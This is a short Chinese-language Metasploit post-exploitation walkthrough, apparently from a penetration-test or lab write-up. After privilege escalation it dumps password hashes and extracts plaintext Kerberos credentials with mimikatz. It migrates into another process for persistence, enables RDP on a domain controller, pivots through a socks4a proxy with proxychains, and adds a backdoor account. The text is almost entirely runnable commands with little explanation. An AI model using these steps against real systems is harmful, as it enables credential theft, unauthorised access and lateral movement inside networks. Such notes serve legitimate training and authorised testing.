提权成功

获取hash密码

meterpreter > hashdump
#或者
meterpreter >  run post/windows/gather/hashdump

mimikatz抓明文密码

meterpreter > load mimikatz
meterpreter > msv  #获取hash密码
meterpreter > kerberos #获取明文密码
meterpreter > mimikatz_command -f samd::hashes #另一种方式获取hash值

权限维持:进程注入

image-20220319133930152

meterpreter > migrate 2804

开启域控远程连接

meterpreter > run getgui -e

使用socks4a连接3389

run autoroute -s 10.10.1.0/24 255.255.255.0
use auxiliary/server/socks4a
set srvhost 10.10.1.2

配置pxoxychains.conf

vim /etc/proxychains.conf
....
socks4 192.168.0.115 1080

登录3389

root@kali:~ proxychains rdesktop 10.10.1.2 #登录3389端口

增加账号

meterpreter > run getgui -u moonsec -p moonsec